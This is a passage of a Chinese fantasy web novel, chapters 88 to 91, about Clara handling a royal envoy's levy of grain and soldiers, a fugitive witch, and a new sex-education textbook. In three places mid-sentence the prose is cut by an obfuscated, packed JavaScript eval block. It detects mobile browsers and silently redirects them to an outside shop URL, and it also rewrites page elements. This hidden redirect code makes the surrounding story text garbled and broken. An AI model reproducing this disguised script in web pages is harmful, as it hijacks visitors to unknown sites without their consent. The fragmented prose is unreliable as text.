安德鲁立刻坐不住了,他站起身,“我先回去了,这件事我会即刻追查。如果确如洛薇所说……” 他的未尽之语,几人都听懂了,那么碧安卡必须被杀死,不然只会有更多亡魂。 安德鲁离开了克劳拉的房间,路过守在门外的两位,朝他们点头示意。 只是他注意到其中一位身形有些眼熟,不仅那晚跟在克劳拉身后,和她共舞,昨天还负伤冲在前列——在王都这人怎么受的伤,那些骑士们又如何得知克劳拉受伤,这些都另他疑虑。 安德鲁快速扫一眼塔的脸,记住了他。 等安德鲁离开后,剩下几人终于提起了女巫。 “霍恩将莱文关押在府中,派人整天监测,但我觉得还是得让大巫留个心眼——不然我们把莱文抓起来用刑,将魔女引出来!” 那晚克劳拉昏在他怀中,给伊登造成了巨大的阴影,他恨不得大巫马上把魔女抓住并杀死! “比起这个,我忘记提醒安德鲁,最近不要让任何来自奥菲的商队进入王都——洛薇,你的领地也是如此,不要让任何奥菲的人进入,连诺兰郡的最好都不要!” 原计划今日就返回德林郡,看来要耽误两天了,克劳拉只能等安娜回来后让她送信回领,还要通知姐妹会那边让她们做好准备。 这件事克劳拉很早之前有和艾洛薇提起过,只是彼时她并不相信,即使如今艾洛薇仍然持怀疑态度。 毕竟克劳拉描述的病,不论是得病后的症状,传播方式都太离谱,听上去更像是诅咒。 她询问克劳拉,“你的巫师塔这两年一直在准备这个?” 提到女巫塔,克劳拉忽然反应过来,“不对,碧安卡很可能准备前往德林郡!” 88. 第88章 温斯顿公爵府后院的大火燃烧了整整三天,即使教会使用了圣水仍然没有扑灭这些邪火。 但人们发现这些火并不会蔓延,也不会伤人,只局限在这片区域,便没有再管。 花园里里外外搜寻了几次仍然没有找到碧安卡的身影。 但大火熄灭后,人们在这座花园泥土下发现大量尸骨,经教会检验,这些尸骨大都属于女性及婴孩——正好印证了艾洛薇的猜想。 尽管王室和温斯顿家有意将消息瞒下,但风声仍走漏出去。一时间温斯顿家名声跌至谷底,毕竟没有任何一家贵族同时出来两位魔女。 常有民众偷偷将石头等物品抛掷进府邸中,很快又跑走。温斯顿乘坐的马车在路上也会出现各种小麻烦。 请求安德鲁确认伊丽莎白身份的大臣也纷纷冒头,这是极佳的将温斯顿家族拉下马的时机。 迫于压力,安德鲁暂时停职霍恩·温斯顿,并将伊丽莎白禁足在宫中,等陛下回都在定夺。 教会也在同一时刻发布了魔女碧安卡通缉令,全然不顾碧安卡以往是教会的忠实的信徒,将一切罪恶都甩给她。 宫廷中将迎来新一波人员变动。 莱文于碧安卡消失的第二天,偷偷溜出房间,同样消失不见。 同为碧安卡女儿的伊丽莎白立刻受到万众瞩目,寄希望于她能成为捕获魔女的诱饵,但安德鲁压下了所有非议与质疑。 克劳拉和艾洛薇亲自前往王宫探望了她一次。她们去的时候,伊丽莎白独自在宫中里画画,身边没有任何女仆。门外的国王骑士也一改之前的态度,从守护变成了监视。 伊丽莎白平静地接受了母亲和兄长消失的事实,她道:“劝你们不要在我身上费功夫,我生不出带巫师血统的孩子,母亲根本不在乎我。” 克劳拉简短地给艾洛薇解释了下,“男巫和非巫师不可能诞下拥有巫师血脉的孩子,但是带有巫师血脉的女性和任何男性通婚,后代都带有巫师血脉,只不过未必能觉醒。” 并不是每一个带有巫师血脉的人都能觉醒成巫,但成为巫的绝对拥有巫师血脉。 “真绝情。”艾洛薇抱胸欣赏了会伊丽莎白的画作,玛丽生前也爱画画,但女性绘画被视为打发时间,修养身心的娱乐活动,只有男性画画才被视为艺术创作。 伊丽莎白的画风让艾洛薇觉得有几分眼熟,她确信她之前从未见过伊丽莎白画画,艾洛薇稍微留了个心眼。 忽然伊丽莎白扯过画布,将它团成团塞进水中,又掀翻了画架和所有颜料。 珍贵的颜料飞溅,艾洛薇躲闪得及时,没有沾染到衣裙上。 克劳拉离伊丽莎白更近,脸上都被溅上色彩。 自始至终伊丽莎白没有喊叫,甚至表情都很平静,平静中又带有疯狂的色彩。 巨大的动静引得骑士们进来查探,女仆们这才涌进房间里,似乎对伊丽莎白的举动习以为常,沉默地收拾着。 “你们走吧。”伊丽莎白站在一片狼藉中,不愿听从女仆的请求更换衣裙。 “总有一天你也会变成这样。”这句话她是看着克劳拉说的,“我们都会变成这样。” 被她空洞的目光注视着,克劳拉听到了自己沉重的心跳声。 她张了张嘴,想说些什么,但直接被艾洛薇拉走。 “疯子!”艾洛薇用手帕仔细替克劳拉擦脸,“她该不会是看我们在,故意把颜料打翻,还说一堆莫名其妙的话。” “好了,洛薇。伊丽莎白多半也是受害者,让她好好待在王宫里算了。”克劳拉觉得伊丽莎白的眼神太死寂了,空洞无物。 虽说如此,艾洛薇还是止不住和她抱怨着温斯顿家,连个人都守不住。 即将拐过走廊时,她们听到一阵啜泣声。 “求求您了殿下!让我离开吧!王后殿下真的是魔女!她让我脱去衣服,要将我的身体画进画中……我实在忍受不了了……” 拐角另一头正是安德鲁和他的骑士们,而在哭诉的似乎是王后身边的侍女。 见到两位,骑士躬身向她们行礼。安德鲁被侍女哭得心烦,索性答应了她的请求,让她自行去找内侍总管。 “你们已经试探过伊丽莎白了?”安德鲁与她们同行了一段路。 “嗯,她的状况不太好。”克劳拉答道。 说到这安德鲁都有些头疼,这已经不是他第一次被王后宫中的侍女拦下了。 “她到底要做什么?” 艾洛薇道:“她应该只是想画画。” 克劳拉奇怪地看了她一眼,艾洛薇对伊丽莎白的态度怎么忽然不同了。 艾洛薇此时没有多解释什么,直到上了马车,才告诉克劳拉,“人体绘画是如今绘画圈最流行的题材。” 只有这么一句话,克劳拉却理解了她的意思,简单来说,就是伊丽莎白想要进入到男人的绘画世界。 “克劳拉,你说在德林郡所有孩子,无论男女都将接受教育。可是你能保证,他们真的能受到平等且一致的教育吗?” 克劳拉不能保证,教育不仅仅是在学校,还在于家庭、社会,即使在学校里她能保证这些女孩不受偏见,在家庭中、社会里,她没办法保证。 “制定相应的法规……” “制定法规,但不严格施行也没有用。而你又说决定要谨慎,你想好怎么制定法规,又该怎么执行了吗?” “你真以为你会是救世主?所有人都会对你感恩戴德?什么疫病,什么天灾,什么社会不公,和你有什么干系,国王的决定说白了只是为了让他自己过上更富裕的生活而已。” 艾洛薇打断她的话,她时常觉得克劳拉太过于理想主义,也不知道她这些美好愿景的来源是基于什么。 克劳拉没有急着反驳她,也没有被她激怒。她从不觉得她是救世主,她只是在做自己想做的事而已。 “洛薇,你该去北境看看,不要困死在王都之中。” 艾洛薇常说王宫是一座囚牢,那王都也不过是座更大的囚牢。外面的人想要进入这座繁华之地,而王都人作茧自缚不愿意离开这座华丽的牢笼。 那样迟早会被时代的洪流淘汰。 但克劳拉见识了德林山脉的巍峨壮阔,高山之巅星辰触手可及。 见识过满天的血湖、见识过澄澈冰面下无尽深渊、见识过一望无际的海面。 见识过求知若渴的学者,她们在塔中废寝忘食的研究学习;见识过冲锋陷阵的士兵;见识过姐妹会们的勇敢与坚韧;见识过农民的淳朴与艰辛。 最后她说,“想要重要的人过上幸福的生活有错吗?洛薇你也是重要的人!” 艾洛薇酸了,克劳拉口中重要的人肯定不止她,听起来还不少,“随便你吧,反正以后你才是国王。” “洛薇,谢谢你当年对我说的那些话。” 如果没有遇到艾洛薇,她绝对会走上既定的命运,即使不是嫁给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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德林郡并不缺糖,伍德曾赠与她的种子中有一种叫甜菜根的食物可以产糖。只是甜菜产量并不高,领地大都还是用于种粮食,日后她再根据帝国情况规划土地种植。 有女巫的传送,几人回到领地的速度很快,克劳拉并不确定碧安卡是否也已经来到德林郡,但还是提前吩咐骑士们做好准备。 领地巡察目前是亚克在管,她边回城堡,边让人通知亚克立刻来见她。 达索琳回到巫师塔前去做准备,而安娜仍然留在她身边。 当她和伊登回到城堡时,菲米娅迎上来递给她一份文书——是国王的征兵令。 “陛下的使者两天后会抵达德林郡,我原本还担心两位不在领地该怎么办。” 克劳拉握着这份文书有些犹豫,她该出面见国王的使者吗? 若不是她和伊登在女巫帮助下快速赶回,国王是打算趁领主不在,索性直接抢劫一番,随后再通知领主。 这是战时国王的基本操作,领主不再直接抢,领主在,就好声好气地抢。 “将地豆藏入新地窖中,最近让领民都换上以前的旧衣服,让姐妹会的女孩们最近待在学校里少到处走动,巫师塔里的人同样……” 克劳拉一条条吩咐下去,将文书放入怀中,最后才转身望向塔。 “塔,到你展现价值的时候了——” 89. 第89章 在王都的日子就像是放假,一回到领地克劳拉又忙得头大。 巫师塔的每一项研究,达索琳认为她应该拥有知情权,所以立项就会一股脑塞给克劳拉,她被迫阅读各种各样的文献。 维尔图的祭司也一头扎入研究中了,维尔图整个族群都被扔给她管理,幸好特菈作为祭司传承者能力出众,配合几位长老也将族群管理得很好。 国王的使者明日就要到来,碧安卡和莱文也不见踪影,还有不知何时爆发的疫病,这些都沉沉地压在克劳拉心头。 估计国王使者还会前往西亚尔玛借兵,克劳拉紧急写信给玛格丽特,让她提醒士兵们前往前线后时刻注意疫病,出现任何可能的症状立刻汇报。 还要和弗洛伦斯商议姐妹会是否要一同前往战场的事,说实话,她并不想女孩们这么快就上前线。但是先告知姐妹会,让她们自己作出决定。 雪莉与萨曼的商队一切安好,欢喜分享什么物品又卖出了多少、她们的羊毛制品多受欢迎、又给大家添置了纪念品的是雪莉的口吻;而详细记载了盈亏,不同商品在不同地区售卖数量等数据则是萨曼的笔迹。 商队她们习惯只报喜不报忧,每次回来,克劳拉只能从女战士们口中得知走商的各种艰辛。 克劳拉回信转告她们做好回领地的准备。 一直忙到晚餐时分,安娜替她送来晚餐和一本特殊的教材, “小姐,您之前要求的教材。” “放那边。”克劳拉头也没抬,也没注意到她的不同,“去将塔喊进来,关于出征的事,我还有事找他谈。” 安娜欲言又止,委婉劝她先吃了晚餐,又道“塔现下应该和骑士们在用餐。” “你让执勤的骑士去喊,你替我跑一趟学院,将这个给蕾莱——” 安娜不肯动,目光直直停留在晚餐上,克劳拉没办法只好拿起餐具敷衍吃了两口。 守着她吃完晚餐后,安娜才拿着信离开,带来教材就被放在书堆最上面,但克劳拉没有注意到。 一刻钟后,塔出现在她的书房里。 “坐。” 克劳拉的书桌属实有些混乱,每次安娜替她收拾好,不久后文书又会变得散乱,到处找不到羽毛笔。 但克劳拉坚定认为散乱不重要,只要重要的东西收好了,其他东西她知道在哪就行。 她翻找兵书时,几本书应声落到地上。 “这是曾祖父遗留的兵书,你随便看看就好,这方面你说不定比他们更厉害。” “国王身边目前几个将领有一半出自德林郡,以往是我父亲的部下,总之遇事找他们——果然还是让伊登替你写封介绍信。” “德林郡这边只会出一千兵,西亚尔玛应该也差不太多,姐妹会的人估计也会分部分和你们一起,记得替我照顾好她们……” 她还要找她记载过的疫病症状,虽然已经给过姐妹会一份,但是士兵们自己也熟知最好。 塔替她将散落的书籍捡起,按照原先的顺序摆好,扫过最下面那本时,他微怔,随即想到了什么,脸有些发热。 克劳拉刚把要给他的东西整理好,一抬头就发现塔拿着安娜刚送过来的东西发愣,耳朵还红透了。 她不明所以探身夺过,翻开扫了两眼,哦是她要求蕾莱和大巫共同制订的性教育教材。 这件事要从一年前说起了,那日她难得踏入巫师塔,还没进塔内,就在院子里撞见了正在逮野猪的一群人。 现场一片混乱,看热闹的女巫、手忙脚乱的炼金术士、以及满院子横冲直撞的野猪。塔为了保护她差点一剑劈死野猪,但有名术士声嘶力竭求他留猪一命。 不多时,克劳拉才知道术士在做一项研究,只要将猪骟了后,它们就会变得性情温顺,并很快长得肥美,肉质可口。 克劳拉没听说过这种实验,身后的骑士也有些好奇,希望他能就此展示。 术士大受鼓舞,认为这是研究被领主重视的体现,兴致勃勃地就在院子里演示起来。 “您知道的,教会不允许随意解剖人类,我们平时都只能在这些动物上动动刀子,这还是我偶然发现的。” 术士洋洋得意向克劳拉展示他特制的小型刀子,不过巴掌大。又请求骑士们按住野猪,小心翼翼将刀消毒后,开始了他的实验。 此时在场的众人都不知道他具体要做些什么,但逐渐克劳拉敏锐地察觉身边骑士们表情巨变,各个扭曲得不行。 连常年神色不变的塔,都面色发黑。 但女巫们似乎没有太多神色变化。甚至在实验结束后,达索琳甚至肯定了他的研究,让他将猪养在后院。 只是取下两枚蛋而已,克劳拉不明白这些骑士反应怎么这么大,恨不得当场跳起来骂术士,回城堡一路上都在嘀嘀咕咕。 结果第二天餐桌上,刚听说这件事的伊登也愤愤指责那是邪恶的实验,希望克劳拉管管。 被克劳拉无视了,这项研究如果能实现,那么平民也能吃上肉,她的领民只会更强大。况且她可不觉得那有什么。 但她还是带着疑惑去询问了达索琳,大巫的神色很奇怪,她转手带给克劳拉几本书。 克劳拉毫不避讳地当着伊登的面翻阅,此时她才知道那东西原来和生殖相关。伊登难得在她的面前暴跳如雷,被她反手修理了一顿。 问清楚缘由后,克劳拉皱眉,“也就是说,你们男人们通常很小就知道了?而我们女人直到婚前才知道这种事?” “没有很小!也就,十来岁。这种东西我觉得没有结婚不了解也没什么,男人不过是偶尔会聊这些话题,听多了也就知道了……” 伊登顶着巴掌印,声音越来越小,似乎觉得和同胞妹妹谈论这种事实在有些失礼。 克劳拉神色莫名,她难得生起一种无名之火,心中愤怒很难形容,就像是每一次别人对你说女人不可以那样,女人做不到那种愤怒而无力的感觉。 她再次找到了达索琳,将这种无处宣泄的怒火告知给大巫。 “女巫们都会学习这些,她们大部分出生平民之前没接触过,我能理解。但是我很惊讶您居然也一点都不曾了解过。” “恐怕不只是我,这个国家大部分女孩都不知道。”克劳拉垂头丧气,生育权明明是她们的特权,但是她们对这些却没有知情权,男人们和结婚的女人都对她们保持缄默。 就像被困在一座巨大的茧房,她们看到的只有外面的人想让她们看到的内容,即使是她也不例外。说到底她们和牛羊有什么区别。 “您不觉得这样不公平吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这是众人合力打磨的教材,聚集了大量女性长辈的心血,是她们予以年轻女性的馈赠。 克劳拉可以保证这在时代绝对是超前的——后世认为这是西大陆史上第一本详细描述了女性从年幼到年老生理变化的医书。 除此之外还记载了包括远古生殖崇拜起源、两性具体解剖图、女性经期医学解释、生育等等众多论述。 尽管受限于当时社会观念、文化背景与医学理论,该书仍具有诸多错误在后世才得以修正与完善。但无可否认在当时绝对称得上是跨时代的书目,并逐渐影响整个西大陆,打破了千年女性月经不洁、月经带来死亡与不祥的谬论。 而此时,克劳拉作为发起人见证了这一历史性贡献的诞生。 见她神情严肃,看得正入神,塔忍不住轻咳两声。 克劳拉瞥他一眼,合上书,郑重地将书摆在最醒目的地方。抬头注意到塔还是面色泛红,她奇怪道:“祭司说维尔图的人大都了解这些,你脸红什么?” 况且这种理论性的东西,有什么不好意思的。 塔目光闪躲一下,转移了话题,“一千人里需要多少战士?” “大约300足以,让漠留下。” 郑重其事接过克劳拉递交给他的文书,塔忽然直言道:“如果我能做到,您会给我奖励吗?” 燃烧着的蜡烛闪烁几下,熄灭了一排,房间瞬间暗沉了几分。克劳拉扫一眼,前排已经燃烬了。 “塔,对我来说,目前最重要的只有权力。”克劳拉靠在椅背上,左手将碎发往额上一扬,凌厉的目光虚虚地落到塔身上, “等你先将古斯塔的兵权捧到我面前,再来谈论你应得的奖励。” 90. 第90章 今天本是礼拜日,听说领主刚回领地,要求领民们通通换上旧衣服参加礼拜。 虽然穿着过于老旧是对神明的不敬,但德林郡的领民这两年已经不再像以往一般尊崇神明。 尽管不理解领主的用意,但领民还是一一照做。 于是当国王的使者来到城门口时,见到的都是各个衣着朴素的民众。 国王的使者向来傲慢,陛下所到之处哪座城市的民众不是穿上最华贵的服装迎接,而这座城市的平民穿不仅穿得破旧,对他的到来丝毫不在意,只有路过的孩子才会好奇看上两眼。 使者哪受过这种轻慢,他恨不得让身后的骑士将这些无礼的家伙全都收拾一顿。 他命令骑士们堵住城门口,等待领主府的人亲自来见他。 莉莉今年刚满五岁,正是对什么都好奇的时候,她最喜欢的人除了妈妈,就是长得像仙女一样的领主——红头发,绿眼睛,其他人都不长这样,只有领主是不同的。 母亲城中的甜品店工作,这里售卖一种甜甜的糖果,还有松软的面包,还有地豆做成的各式食物。 莉莉长得可爱,经常会在店里帮母亲一起卖食物,时不时能见到她最喜欢的仙女领主。 只是今天,母亲无法进入城中工作了,因为有一队人马挡住了城门。 为首的大胖子涨红着脸命令侍卫们赶紧让城中的管事出来,他要见领主。 时常有人要见领主,他们会各种魔法,有人可以让火焰变成各种颜色,有人可以让水马上变成冰,还有人甚至可以飞起来。 但只有最厉害的魔法师才能得到领主的青睐。 莉莉理所当然地认为这些人也会魔法,她好奇地询问骑在马上的胖子,“先生您会什么魔法呀?” 玛农只是收拾一下今日的货物,转头就发现莉莉凑到了王都来的大人面前,她吓得瞬间冒出了冷汗。 虽然这两年因为克劳拉阁下,领地里的贵族乡绅都对平民和颜悦色,但玛农可没有忘记贵族以往是多么可怕的存在,尤其是外地来的。 她快步跑过去想将莉莉带回,却听到那位大人气愤喊到:“德林郡怎么还有伪装成幼童的女巫!愣着做什么!快杀死女巫!” 雪白的刀锋闪过,玛农尖叫着差点晕过去,被身后的人扶住。 顷刻间,刀剑的锵鸣让周边所有人为之一振,挥剑的骑士只觉得一剑砍在了巨石上,震得他手臂发麻,随即他定睛就被如野兽般的金瞳吓到心中发突。 “使者阁下,在我的领地乱杀我的领民,是否过分了些。”随即伊登压低声音,凑近压制怒气克劳拉,“若拉,国王的使者不能杀,忍耐两天。” 虽然愤怒,克劳拉也知道杀掉他得不偿失,她抿唇,拒绝与这位使者说话。 使者终于见到了他心念的德文希兄妹,只是两人皆面色不善。 他理了理领巾扬声道:“女巫很会伪装,不可放过任何一个!” 又趾高气扬命令塔,赶紧将女巫杀死。 塔没有分给他眼神,转身就将丝毫没有受到惊吓、还在朝克劳拉挥手的莉莉塞进玛农怀中。 莉莉眼睛亮晶晶与塔告别,“妈妈!领主的侍卫也会魔法哦!” 玛农立刻捂住莉莉的嘴,躬身连连道谢,向两位阁下行礼,得到首肯后她立刻跑开。 使者还想派身后的骑士去追。 伊登终于面沉如水,“阁下,这不过是个不足六岁的女孩。如果您执意如此,那还请离开德林郡,希望您清楚,在德林郡除国王外只有领主拥有处决权。” 跟随使者的国王骑士耳语了几句,使者终于神色微霁,扯过缰绳慢慢向前,说明了借兵借粮的来意。 当然这些都已经在文书中提前告知过了,伊登勉强扯出微笑,和他周旋起来。 克劳拉错开使者的队伍,与落到后面的塔说话,“莉莉没有受伤吧?” 她还挺喜欢莉莉,甜品点最初是雪莉想要开设的,原本以为德林郡找不到点心师。没想到玛农听说后自告奋勇接手了这一工作,意外地她做的面包点心很受欢迎。 久了后克劳拉就放心地将整个店交给她打理,偶尔会去一趟店里。 莉莉是古灵精怪的小女孩,或许因为店里经常出入的都是女巫和姐妹会的女孩,她耳濡目染,对魔法充满向往,和领地里其他小孩全然不同,大胆得很。 塔摇头,“她看上去很好,甚至没有被吓到,可能以为在玩耍。” 克劳拉失笑,虽然当时那种情况太过危险了,但她还是希望像莉莉一样的孩子越来越多。念此,她目光沉沉望向使者的背影。 “您的领地虽然清贫,但还算干净。”使者肆意打量着这座城市,往来的人群虽然穿得破旧,但面容干净整洁,街道上也少有污秽。不像某些小城市,臭气熏天。 “若拉不喜欢脏乱,认为这会带来灾病。”所以再三强迫领民去固定的地方丢垃圾,排泄。 花了一年才让城中保持这副模样。 “准王子妃的贤能早有耳闻。等此次陛下攻下奥菲的杜蒙郡,回王都后,就要准备两位殿下的婚礼了。伯爵阁下也能在王都谋一份好差事。” 伊登敷衍地笑笑,王子妃而已。 况且北境可比王都自由多了。 使者丝毫不客气在城堡中好吃好喝一顿,还霸占了位置不错的客房休息。 国王骑士们也丝毫不讲礼仪,在城堡中四处搜刮,厨房里挂着的火腿都被他们拿走。 索性克劳拉早就将食物盐糖等,藏进了隐蔽的库房里。尽管如此这种野蛮的行为还是引得城堡上下众人诸多不满。 亚克终于在国王骑士们骚扰女仆时忍不住爆发,向这些无礼之徒发起了决斗,最终演变成大型骑士决斗。 使者最初不甚在意,他并不认识雪鸮骑士们,以为不过是哪来的草根骑士,被德林郡捡了漏。 他还悠闲地与伊登搭话,“年轻骑士就是太浮躁,让他们吃吃苦头也好。就算死了几个骑士您也不必计较,骑士决斗死亡是很正常的事。” 伊登侧头望去,在城堡侧面的走廊里发现了克劳拉的身影,她撑在窗台上,微笑地注视着决斗场,身边围绕着城堡的女仆们。 “当然,使者阁下,不过几个骑士而已。”伊登也同样露出放松的笑容。 雪鸮骑士早已不同以往,各个都同巨魔战斗过,又常与战士们严格训练、比试。伊登可以保证,国王身边这些早已疏忽练习的酒囊饭袋绝不是他们的对手。 果不其然几轮后,使者的笑容凝固在脸上,他不可置信地想要伸手去抓身边的人胳膊,但被里奥拦下。 他惊恐地瞪大眼,“德文希伯爵!快命令他们停下!这可是国王的骑士!” “您在说什么呢,几个骑士而已,偶尔让他们长些教训不好吗?再说了,雪鸮骑士是殿下派给若拉的,我可指挥不动他们。”伊登还是那副愉悦的表情,似乎对眼前单方面杀戮并不在意。 他绝对会被国王杀死的!使者瞬间流下冷汗,无论他怎么解释,国王只会怪罪于他,绝不会影响到他身边这位贵族阁下。 “还请您,请求德文希小姐,命令他们停下。”使者艰涩地开口请求道,全然不见上午时分的傲慢。 “再欣赏一下吧,我已经说过了,这是若拉的骑士。”伊登对他的请求丝毫不在意,眯着眼注视着决斗。 等到雪鸮骑士杀了三位国王骑士,克劳拉终于抬手叫停。 使者并没有松口气,三位足够让他在国王面前脱层皮,他不住地擦拭着冷汗。经此他老实了很多,恭恭敬敬和伊登商谈起物资的数量。 这次使者不过带来7位国王骑士,与百名骑兵,如今死去了三位,也不知道这位眼高手低的使者要如何和古斯塔解释。克劳拉幸灾乐祸地想。 不过这些恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321395|129069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心的家伙确实该杀。克劳拉让两位受到惊吓的侍女回去休息两天,免得被剩下的骑士报复。 “你们常认为我让你们一同训练是折腾你们。这次碰巧被亚克他们撞见,下次你们能保证吗?”克劳拉柔声对身后的女仆们道, “下次遇到这种事时,我希望你们都能够自己反抗,至少能够逃走。” 但恶人也应该受到应有的惩罚,这也是对受害者最好的保护。 雪鸮骑士们摘下了头盔,抱在怀中,朝着克劳拉所在的方向行礼。 她微微抬手回应,又瞥一眼剩余的几位国王骑士,嗤笑一声,不感兴趣地转身离去。 “塔,看到了吗,你以后的对手不过是这种废物,狂妄自大、自私好色,骑士美德也被他们吃进肚子里了。我要的军队可不能是这幅模样。” “一切如您所愿。”塔只需几句话立刻明白克劳拉的意思。他会为克劳拉训练一支足够强大、克制、守礼且忠心的军队。 最重要这支军队从底层到将领,全都绝对服从克劳拉的命令,包括他。 蒂奇来回飞了好几次都没带回克劳拉的信件,赫利斯生气了!明明约好了看到蒂奇就要第一时间回信的。 为此赫利斯伤心难过了两天,拿族中战士出了几次气,又心情舒畅决定亲自去一趟德林郡。 也不知道克劳拉最近在忙什么。 不下雪的时候,犬群绝对不愿意拉车,所以赫利斯只能骑马。什么时候女巫们也愿意在里纳族的地盘安一个传送阵就好了,她忍不住想。 快马加鞭跑了一天,终于在第二天下午抵达了奥林德城。 只是今天的城中有些过于安静了,不仅平日里热闹的集市没有开放,走在路上的人也各个穿得奇奇怪怪。 难道是克劳拉出事了? 赫利斯有些心急,但在城墙上望见了正在巡逻的某个眼熟的家伙。 看这些人的神色也不像是出了什么紧急情况的样子,她挥手给人招下来。 莫兰特正闲得慌,因为他见过莱文和碧安卡的正脸,所以被派来守城门。尽管他认为魔女绝不会光明正大地走正门,但阁下的命令,他不得不遵从。 见到赫利斯,他迫不及待将事务扔给下属,跑下城墙,“您好,赫利斯女士,好久不见。” 赫利斯已经全然不记得眼前这位年轻人的名字了,她可太烦南人这边的男性名字了,各个又长又难记,不像德林北的男人只肖一个音节。 她敷衍地打过招呼,询问起克劳拉的事来。 “阁下刚从王都回来,还以为您知道呢。这会正在接见陛下的来使,您知道的,东边要打仗了。” “克劳拉刚从王都回来!”赫利斯更生气了,这么重要的事她居然不告诉自己,心里肯定不看重她这个长辈。 气到赫利斯决定在城中转悠一圈,等什么来使走了再去找克劳拉。 这两年城中总有各式变化,因为她的侄女总爱弄些奇思妙想。像现在,这有整整一条街都是售卖各种货物,吃的、用的、穿的应有尽有,而且都不算贵。 其中最受欢迎的一家绝对属街角的甜点店。只是今天这家点心店也没有开门,赫利斯失望地转向不远处的服装店。 这是一位来自外地的女裁缝开设的店铺,总会有许多新奇与众不同的服饰,譬如橱窗里挂着的这一件—— 深蓝色向纯粹的黑色过渡,但表层又缀满了细闪,如同将星河穿在身上一般。裙摆也不是南人惯例的宽大模样,更贴身,小腿往下侧面又有开叉,方便行走。 赫利斯很喜欢,虽然不能在祭祀上穿,毕竟要跳祭祀之舞。但平时可以穿,她决定不管多少钱都要将这条裙子拿下。 身后忽然有一种十分不祥的气味,像是血腥混合着腐烂的泥土,赫利斯眯眼。 此时,轻柔的女声于她耳边响起,“您好,请问您是否知道如何前往巫师塔——” 91. 第91章 使者一开口就要地豆、小麦、肉食各三千吨,还要大量的盐。 “告诉他不可能,最多每样五百吨,小麦替成黑麦。”克劳拉毫不犹豫拒绝,开什么玩笑,就算他们领地年收有万吨土豆,难道领民和伯爵府都不用吃饭吗? 使者说的这些都足以让五万士兵吃上足足一年多了!他还真敢开口,要不是德林郡还会出千名士兵,克劳拉连这点粮食都不打算给。 “我们北部防线不用吃的吗?告诉他德林郡穷得很!粮食给了,一分钱都不会出!” 早知道古斯塔穷,之前克劳拉还以为拿回防线后,可以赚一批军需。结果王都送来都是些淘汰的破铜烂铁,食物是没有,钱财给了不过三百金。 要不是她背靠巫师塔,可以熔铁再造,光靠这点武器,那就是给巨魔送命的。 气得她破口大骂古斯塔无耻! 德林郡的领民辛辛苦苦开垦田地,女巫费心费力让作物长得更好。还没过上两天好日子呢,国王就来抢劫了。 或许是因为被杀的国王骑士,使者好说话了很多,和伊登讨论还价,愿意放宽到千吨。 克劳拉依旧没有松口,让塔先去点好兵。 姐妹会愿意派30人左右跟随士兵前往东境。 如今姐妹会学校已经有两百多位学生,蕾莱认为识字有基础的学生只需要学习两年,第三年则去医院或是边境实操。 而没有任何基础的,必须要去基础学院学习一两年。 而毕业后,她们的薪水通常为一年1到3金,绝对是高薪水了,足以养活她们自己。 这次跟随去东境,作为补偿克劳拉许诺5金一年,除此之外还会有两位年轻女巫混在她们之中。 只是未婚女孩到处跑,她们一旦离开德林郡绝对会受到不少的流言蜚语,甚至可能会被误会为军妓,弗洛伦斯毅然决定和她们一起去。 拥有贵族身份的她,再加上士兵和女巫,在一定程度上还是能保护她们。 第二天使者终于还是松口了,希望获得800吨地豆,剩下的各五百,且想要去猎场打猎。 伊登同意了,让他们前往德林郡与西亚尔玛交界的森林打猎,不要在奥林德城附近。 那边有西亚尔玛的守卫,他没有任何心理负担地让长辈去处理——侯爵怎么能不算长辈呢。 只是到借兵时,国王骑士又挑起刺来,认为塔不过是个平民,还是异族,莫兰特也过于年轻,难担大任。坚定觉得德文希家怠慢陛下,对陛下不敬。 “我记得德林郡两年前就曾报备过陛下,”克劳拉终于忍不住了,这些强盗在她的领地好吃好喝供着,还要挑三拣四, “上报陛下德林郡近四十位骑士勾结教会,妄图操控德文希家,已经全部被革职发配,这两年里没有新的骑士受封。” “所以你认为我们应该将那些叛徒请回来,送到陛下身边?说不定他们会被陛下的神威感化,立刻忘记教会曾许诺给他们的好处,效忠于陛下呢。” 她话语里的嘲讽惹怒了几位骑士大人,但他们对克劳拉毫无办法,只能用剑指向亚克,话里不怀好意,“那他,为何不能带兵?” “严格来说,亚克和雪鸮骑士们只效忠于我,怎么陛下身边缺人到还要抢王子妃的骑士?说实话我对国王骑士都是至强者这一点持怀疑态度。” 克劳拉怀疑地目光打量过这位骑士,身高也就和她持平吧,体态比不过亚克,强壮比不过塔,满脸胡须看上去又脏又臭。 被她这种看商品的眼神侮辱到,国王骑士确实只能低头,他们带着任务而来,国王在等他们回前线,此时耽误时间会被国王怪罪。 但他们记下了这份屈辱,以及同伴的性命,只不过是准王子妃,能不能真正嫁给王子还不好说。 他们阴冷的目光落到克劳拉身上,塔垂头在克劳拉耳边低语,“要不要替您将他们的眼珠挖下。” “我要那种东西做什么,恶心!”克劳拉瞪他一眼,那种丑陋的东西,多看一眼都会带来霉运。 国王使者只带走了一部分货物,等到他们从西亚尔玛返程后,会带走剩下的食物。 姐妹会也会再随后再跟上他们的队伍。 莫兰特原本还想在克劳拉身边多诉一会衷肠,但很快被塔挤开。 “赫利斯女士前两天来了一趟城中,她已经回去了吗?”回到大部队前,莫兰特忽然问道,他似乎没有注意到赫利斯出城的身影。 看到克劳拉面带疑惑,他可以确信赫利斯没有直接去城堡,甚至没有和两位阁下见面。 